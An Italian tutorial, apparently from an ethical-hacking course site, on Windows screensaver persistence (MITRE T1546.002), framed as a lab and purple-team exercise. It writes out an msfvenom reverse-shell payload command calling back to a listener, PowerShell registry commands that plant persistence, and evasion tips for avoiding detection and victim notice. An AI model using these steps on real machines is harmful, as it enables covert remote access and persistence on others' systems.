Persistenza via Screensaver: Event Triggered Execution - Screensaver (T1546.002)
La tecnica T1546.002 sfrutta il meccanismo legittimo dei salvaschermo Windows per ottenere persistenza e, in determinati contesti, privilege escalation. I file con estensione .scr sono Portable Executable a tutti gli effetti: quando l'utente resta inattivo per il tempo definito, il sistema esegue il binario indicato nella chiave di registro HKCU\Control Panel\Desktop\SCRNSAVE.exe. Manipolando quattro valori — SCRNSAVE.exe, ScreenSaveActive, ScreenSaverIsSecure e ScreenSaveTimeout — un attaccante trasforma l'inattività dell'utente in trigger di esecuzione silenziosa.
La collocazione nelle tattiche TA0003 (Persistence) e TA0004 (Privilege Escalation) riflette la duplice natura del vettore: il codice sopravvive ai riavvii perché la configurazione risiede nel registro, e viene lanciato nel contesto dell'utente interattivo, che può avere privilegi amministrativi o accesso a risorse di rete pregiate.
Rispetto ad altri sotto-metodi di Event Triggered Execution, lo screensaver è particolarmente insidioso perché opera in una finestra temporale in cui la vittima non è alla tastiera: attività di rete anomala, spawn di processi figli e comunicazioni C2 avvengono quando nessuno sta osservando lo schermo. Il caso più documentato è il backdoor Gazer (S0168), attribuito storicamente a operazioni di cyberespionage, che utilizza proprio questo meccanismo come uno dei propri anchor di persistenza. La tecnica richiede solo scrittura in HKCU, quindi non necessita di privilegi elevati per essere impiantata.
In un laboratorio controllato la simulazione di T1546.002 richiede pochi passaggi ma va calibrata con attenzione, perché il trigger dipende dall'inattività reale della sessione interattiva. Il payload deve essere un PE valido rinominato con estensione .scr: qualsiasi binario Windows funziona, dato che user32.dll non impone controlli sul formato interno oltre alla capacità di essere caricato come processo.
Per generare un payload di test si può usare msfvenom (open source, incluso in Metasploit Framework) con una sintassi del tipo:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -f exe -o payload.scr
Oppure, per un approccio più stealth in red team, compilare un loader custom in C# o Nim che carichi lo shellcode in memoria. Strumenti come Donut (open source) o Sliver (open source) permettono di produrre artefatti meno signaturati rispetto agli stub Metasploit.
La scrittura delle chiavi di registro avviene interamente in user context. Da PowerShell:
Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name SCRNSAVE.EXE -Value 'C:\Users\Public\payload.scr' Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name ScreenSaveActive -Value '1' Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name ScreenSaveTimeout -Value '60' Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name ScreenSaverIsSecure -Value '0'
Un timeout di 60 secondi è utile in lab; in scenari realistici valori tra 300 e 900 secondi risultano meno sospetti perché coerenti con policy aziendali. Impostare ScreenSaverIsSecure a zero evita che al risveglio venga richiesta la password, riducendo l'attrito osservabile dalla vittima.
Per forzare il trigger senza attendere è possibile invocare direttamente il binario tramite rundll32.exe user32.dll,LockWorkStation combinato con simulazione di idle, oppure eseguire il file .scr passando il flag /s che avvia la modalità screensaver reale.
In ambito Atomic Red Team (open source) esiste il test T1546.002 che automatizza l'intera catena e rappresenta il punto di partenza ideale per un purple team exercise. La validazione include: verifica che il payload venga eseguito nel contesto utente, che il parent process sia user32.dll o winlogon.exe, e che la rimozione delle chiavi ripristini lo stato originale. Documentare sempre gli hash del payload e le chiavi modificate per il cleanup post-esercizio.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo